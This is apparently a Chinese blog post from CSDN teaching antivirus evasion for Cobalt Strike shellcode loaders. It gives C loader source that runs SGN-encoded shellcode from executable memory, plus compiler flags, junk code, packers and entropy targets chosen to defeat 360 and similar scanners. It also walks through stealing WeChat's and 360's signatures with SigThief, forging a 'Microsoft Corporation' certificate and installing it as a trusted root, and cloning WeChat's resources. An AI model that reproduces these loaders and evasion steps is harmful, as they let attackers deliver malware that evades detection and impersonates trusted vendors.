MT/MD对比编译
当样本做好了, shellcode处理了, 加载器的代码也做了优化, 但是被杀软一扫描还是静态报毒, 很有可能是因为exe相关的操作需要进行处理, 第一个就是 编译器/编译参数 因为有些杀软宁可错杀1000也不过一个, 所以针对一些特定的编译器/编译参数, 即使你是输出 hello world, 也是会报毒的, 或者你当前程序没有数字签名就报毒, 以及没有详细的版本信息就报毒 那么我们可以通过控制变量法对比查杀效果, 进而总结出来杀软的查杀态度。
#include <iostream>
int main()
{
std::cout << "Hello World!\n";
}
怎么办呢? 属性里面设置一下这个东西
这就不查杀了
1.MT选项:链接lib版的C++运行库集成到程序中,不需要dll,因此程序会变大
2.MD选项:使用DLL版的C++运行库,这样程序体积较小,缺点电脑上没有对应DLL时无法运行
md是需要自己电脑上的dll 比如我们和 被攻击机 操作系统一样我们就用MD
试验一下加载器的书写
先用cs生成一个raw的shellcode 拿去sgn内存加密一下
sgn.exe -a 64 -c 4 -o spd1.bin pd1.bin【64位 加密4次 输出spd1.bin】
然后用sctool 来查看加密后的shellcode
#include <windows.h>
#include <iostream>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗口
#pragma data_seg("vdata")
unsigned char sc[] = { 0xeb,0x00,0xe8,0x97,0x05,.... }; // sgn加密的shellcode
#pragma data_seg()
#pragma comment(linker,"/SECTION:vdata,RWE")
int main() {
((void(*)()) & sc)();
std::cout << "";
}
这个加载器 是直接修改内存段属性可执行 先用mt生成一下
被查杀
再换MD模式编译 注:再次生成我们不要让代码一样可以添加一些无用的函数
std::cout << "添加的无用函数1";
std::cout << "添加的无用函数2";
std::cout << "添加的无用函数3";
应该时间关系也被查杀了
反正目的就是针对360来说 使用md
编译器
1.visual studio 命令行编译
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe
/SUBSYSTEM:CONSOLE /MACHINE:x64
参数解释
/MT 表示使用多线程静态链接运行时库(Release 模式通常会选择这个选项)。
/Ox 表示启用优化。
/W0 表示关闭所有警告。
/GS- 表示关闭缓冲区安全检查。
/DNDEBUG 表示定义 NDEBUG 宏,禁用调试信息和代码。
/Tcimplant.cpp 表示指定源文件为 implant.cpp。
/link 后面的选项用于指定链接器的设置。
/OUT:implant.exe 表示输出文件为 implant.exe。
/SUBSYSTEM:CONSOLE 表示应用程序是一个控制台应用程序。
/MACHINE:x64 表示生成 64 位的可执行文件。
MinGW(GCC)
这是一个复制内存创建线程的加载器
#include <windows.h>
//#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
void main() {
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0";
LPVOID exec = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof(buf));
HANDLE hThread = CreateThread(
0,
0,
(LPTHREAD_START_ROUTINE)exec,
0,
0,
0);
WaitForSingleObject(hThread, -1);
CloseHandle(hThread);
}
// 添加无意义的代码
#include <stdio.h>
char myCharacter = ' ';
printf("%c\n", myCharacter);
gcc test.c -mwindows -o test.exe
目前可惜的是加了一些混淆函数后也不能免杀
#include <windows.h>
#include <stdio.h>
// 无意义的函数1:执行一些无用的数学运算
void dummyFunction1() {
int a = 42, b = 7, c = 0;
for (int i = 0; i < 10; i++) {
c += (a * b - i) % 5;
}
}
// 无意义的函数2:打印无用信息
void dummyFunction2() {
printf("This is a placeholder function. It does nothing meaningful.\n");
}
// 核心功能的封装函数
void executeShellcode() {
// Shellcode 字节数组
static unsigned char shellcode[] = {};
// 分配可执行内存
LPVOID exec = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!exec) {
printf("Failed to allocate memory.\n");
return;
}
// 将 shellcode 拷贝到分配的内存中
memcpy(exec, shellcode, sizeof(shellcode));
// 创建线程执行 shellcode
HANDLE hThread = CreateThread(
NULL,
0,
(LPTHREAD_START_ROUTINE)exec,
NULL,
0,
NULL
);
if (!hThread) {
printf("Failed to create thread.\n");
VirtualFree(exec, 0, MEM_RELEASE);
return;
}
// 等待线程执行完成
WaitForSingleObject(hThread, INFINITE);
// 释放资源
CloseHandle(hThread);
VirtualFree(exec, 0, MEM_RELEASE);
}
// 主函数
int main() {
// 调用无意义的函数
dummyFunction1();
dummyFunction2();
// 调用核心功能
executeShellcode();
// 再次调用无意义的函数
dummyFunction1();
return 0;
}
intel c++编译器
这个编译器还不错 是集成在visual里面的
数字签名/加资源
添加数字签名
python3 sigthief.py -i 签名文件 -t 样本.exe -o 输出.exe
python3 sigthief.py -i sign_exe\360.exe -t output.exe -o output_s.exe
这个方法可以把其他exe的数字签名弄下来 加在我们自己的exe上
但是这样生成的数字签名是无效的
自建数字签名
第一次创建签名文件,中间需要输入密码 (在自签名工具里面运行)
makecert -r -pe -n "CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US" -ss CA -sr CurrentUser -a sha256 -cy authority -sky signature -sv Microsoft.pvk Microsoft.cer
certutil -user -addstore Root Microsoft.cer
makecert -pe -n "CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US" -a sha256 -cy end -sky signature -ic Microsoft.cer -iv Microsoft.pvk -sv Microsoft.pvk Microsoft.cer
pvk2pfx -pvk Microsoft.pvk -spc Microsoft.cer -pfx Microsoft.pfx
通过自签名文件添加到exe
signtool sign /f Microsoft.pfx /t http://timestamp.digicert.com /fd SHA256 要签名的.exe
我们直接偷一个wechat的数字签名和资源
可以看到数字签名已经加好了
然后用resource hacker把信息导入
可以看到和微信一样
加壳
upx
upx是一款压缩壳, 针对exe文件进行代码压缩, 压缩后的文件体积会小于原始文件
UPX 提供了不同的压缩级别,级别越高,压缩率越大,但压缩和解压缩的速度可能会减慢。压缩级别范围是从 1 到 9。数字越高,表示压缩级别越高,对文件大小的减小也越明显
upx -9 main.exe 【加壳exe】
Shielden
Safengine Shielden 软件保护加壳工具是一款能够帮助用户对自己电脑上各种文件程序进行加壳免杀的Windows操作平台功能性保护工具,它可以帮助用户对自己需要进行保护的文件程序进行加壳处理拥有强大的虚拟机代码保护系统,能够让你的文件程序无需担心被逆向工程破解入侵,拥有专业级的加密操作,保护你的文件不被恶意修改。
VMP
文件的熵值
Entropy(熵)能被用于衡量系统的混乱程度,熵值越大,说明混乱程度越高
熵也被用于检测PE文件病毒, 一般一些合法软件的熵值在 4.8 - 7.2 之间
有阶段 样本
无阶段 样本
所以我们制作好样本(加壳), 一定要检查文件的熵值, 经量保存在 4.8 - 7.2 之间
标签:exe,免杀,exec,数字签名,编译器,include,shellcode,Microsoft From: https://blog.csdn.net/qq_60870726/article/details/143831792